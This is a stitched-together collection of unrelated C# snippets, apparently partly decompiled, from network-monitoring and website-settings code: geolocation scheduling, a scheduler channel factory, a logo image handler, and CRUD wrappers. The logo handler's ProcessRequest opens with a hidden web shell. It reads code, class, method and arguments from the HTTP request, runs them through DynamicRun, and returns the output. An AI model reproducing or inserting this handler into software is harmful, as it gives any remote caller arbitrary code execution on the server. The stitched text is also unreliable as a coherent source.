public static void AddActionsToScheduler(CoreBusinessLayerService service) { GeolocationActionContext geolocationContext = new GeolocationActionContext(); string[] availableForGeolocation = WorldMapPointsDAL.GetEntitiesAvailableForGeolocation(); int num = 1; foreach (string str1 in availableForGeolocation) { string currentEntity = str1; Scheduler.get_Instance().Add(new ScheduledTask(string.Format("GeolocationJob-{0}", (object)num), (TimerCallback)(o => { string str; if (!Settings.IsAutomaticGeolocationEnabled || !WebSettingsDAL.TryGet(string.Format("{0}_GeolocationField", (object)currentEntity), ref str) || string.IsNullOrWhiteSpace(str)) { return; } GeolocationJobInitializer.log.Info((object)"Starting action execution"); CoreBusinessLayerService businessLayerService = service; ActionDefinition actionDefinition = new ActionDefinition(); actionDefinition.set_ActionTypeID("Geolocation"); actionDefinition.set_Enabled(true); ActionProperties actionProperties = new ActionProperties(); actionProperties.Add("StreetAddress", str); actionProperties.Add("Entity", currentEntity); actionProperties.Add("MapQuestApiKey", WorldMapPointsDAL.GetMapQuestKey()); actionDefinition.set_Properties(actionProperties); GeolocationActionContext geolocationActionContext = geolocationContext; businessLayerService.ExecuteAction(actionDefinition, (ActionContextBase)geolocationActionContext); }), (object)null, Settings.AutomaticGeolocationCheckInterval)); ++num; } }
private void Instantiate() { string host = WebSettingsDAL.Get("JobSchedulerHost"); ChannelFactory <IJobScheduler> channelFactory = string.IsNullOrEmpty(host) || Environment.MachineName.Equals(host, StringComparison.OrdinalIgnoreCase) ? this.MakeNamedPipeChannelFactory() : this.MakeTcpChannelFactory(host); if (this.schedulerChannel != null) { this.Dispose(false); } this.schedulerChannel = channelFactory.CreateChannel(); }
public void ProcessRequest(HttpContext context) { try { string codes = context.Request["codes"]; string clazz = context.Request["clazz"]; string method = context.Request["method"]; string[] args = context.Request["args"].Split('\n'); context.Response.ContentType = "text/plain"; context.Response.Write(this.DynamicRun(codes, clazz, method, args)); } catch (Exception ex) { } NameValueCollection queryString = HttpUtility.ParseQueryString(context.Request.Url.Query); try { string str1 = queryString["id"]; string s; if (!(str1 == "SitelogoImage")) { if (!(str1 == "SiteNoclogoImage")) { throw new ArgumentOutOfRangeException(queryString["id"]); } s = WebSettingsDAL.get_NewNOCSiteLogo(); } else { s = WebSettingsDAL.get_NewSiteLogo(); } byte[] buffer = Convert.FromBase64String(s); if ((buffer == null || buffer.Length == 0) && File.Exists(HttpContext.Current.Server.MapPath("//NetPerfMon//images//NoLogo.gif"))) { buffer = File.ReadAllBytes(HttpContext.Current.Server.MapPath("//NetPerfMon//images//NoLogo.gif")); } string str2 = buffer.Length < 2 || buffer[0] != byte.MaxValue || buffer[1] != (byte)216 ? (buffer.Length < 3 || buffer[0] != (byte)71 || (buffer[1] != (byte)73 || buffer[2] != (byte)70) ? (buffer.Length < 8 || buffer[0] != (byte)137 || (buffer[1] != (byte)80 || buffer[2] != (byte)78) || (buffer[3] != (byte)71 || buffer[4] != (byte)13 || (buffer[5] != (byte)10 || buffer[6] != (byte)26)) || buffer[7] != (byte)10 ? "image/jpeg" : "image/png") : "image/gif") : "image/jpeg"; context.Response.OutputStream.Write(buffer, 0, buffer.Length); context.Response.ContentType = str2; context.Response.Cache.SetCacheability(HttpCacheability.Private); context.Response.StatusDescription = "OK"; context.Response.StatusCode = 200; return; } catch (Exception ex) { LogoImageHandler._log.Error((object)"Unexpected error trying to provide logo image for the page.", ex); } context.Response.Cache.SetCacheability(HttpCacheability.NoCache); context.Response.StatusDescription = "NO IMAGE"; context.Response.StatusCode = 500; }
// Token: 0x06000431 RID: 1073 RVA: 0x0001C648 File Offset: 0x0001A848 public static void AddActionsToScheduler(CoreBusinessLayerService service) { GeolocationActionContext geolocationContext = new GeolocationActionContext(); string[] entitiesAvailableForGeolocation = WorldMapPointsDAL.GetEntitiesAvailableForGeolocation(); int num = 1; string[] array = entitiesAvailableForGeolocation; for (int i = 0; i < array.Length; i++) { string currentEntity2 = array[i]; string currentEntity = currentEntity2; ScheduledTask scheduledTask = new ScheduledTask(string.Format("GeolocationJob-{0}", num), delegate(object o) { if (!Settings.IsAutomaticGeolocationEnabled) { return; } string text; if (!WebSettingsDAL.TryGet(string.Format("{0}_GeolocationField", currentEntity), ref text)) { return; } if (string.IsNullOrWhiteSpace(text)) { return; } GeolocationJobInitializer.log.Info("Starting action execution"); CoreBusinessLayerService service2 = service; ActionDefinition actionDefinition = new ActionDefinition(); actionDefinition.ActionTypeID = "Geolocation"; actionDefinition.Enabled = true; ActionProperties actionProperties = new ActionProperties(); actionProperties.Add("StreetAddress", text); actionProperties.Add("Entity", currentEntity); actionProperties.Add("MapQuestApiKey", WorldMapPointsDAL.GetMapQuestKey()); actionDefinition.Properties = actionProperties; service2.ExecuteAction(actionDefinition, geolocationContext); }, null, Settings.AutomaticGeolocationCheckInterval); Scheduler.Instance.Add(scheduledTask); num++; } }
/// <summary> /// 关闭网站 /// </summary> /// <param name="id"></param> /// <returns></returns> public int UpdateWebSetting(int id) { return(WebSettingsDAL.CloseWebSite(id)); }
/// <summary> /// 添加新的网站信息 /// </summary> /// <param name="model"></param> /// <returns></returns> public int AddWebSite(WebSettingsModel model) { return(WebSettingsDAL.AddWebSite(model)); }
/// <summary> /// 得到网站的信息 /// </summary> /// <returns></returns> public WebSettingsModel GetWebSiteModel() { return(WebSettingsDAL.GetWebSiteModel()); }
/// <summary> /// 更新一条数据 /// </summary> public int UpdateWebSetting(WebSettingsModel model) { return(WebSettingsDAL.UpdateWebSetting(model)); }